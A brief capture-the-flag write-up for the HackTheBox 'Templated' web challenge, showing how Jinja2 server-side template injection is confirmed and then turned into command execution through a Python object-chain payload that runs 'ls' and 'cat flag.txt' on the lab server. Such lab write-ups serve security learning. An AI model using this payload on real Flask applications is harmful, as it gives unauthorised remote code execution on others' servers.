HACKTHEBOX CHALLENG TEMPLATED

                                                                     HackTheBox

                                      CHALLENGE TITLE: Templated

The second challenge under the web and most of the votes are for easy. Let's try it out.

CHALLENGE TITLE: Templated

CHALLENGE DESCRIPTION: Can you exploit this simple mistake?

It is related to Flask/Jinja2. Btw Jinja2 is a web template engine for Python. The challenge title is also templated! maybe it is related to SSTI (Server Side Template Injection).

Payload 1: http://134.209.16.184:32694/{{100+100}}

Result: it gives 200 as output.

So we found two vulnerabilities. What else can be done with SSTI apart from adding numbers? Here is a good article on SSTI with Jinja2 you can refer to.

So we can use the MRO function to display classes, which will come in extremely handy for building python SSTI Jinja2 payloads.

Payload:

{{"".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("ls *").read()}}

so the URL will look something like this:

http://64.227.43.192:32601/{{"".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("ls *").read()}}

this lists all the files and guesses what we can see flag.txt. All we need to do now is to replace ls * with cat flag.txt.

Final Payload:

{{"".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("cat flag.txt").read()}}

and boom! you have the flag.

I would recommend trying running each component of the payload as an individual payload just to understand what's the output of each component.

See you on the next challenge.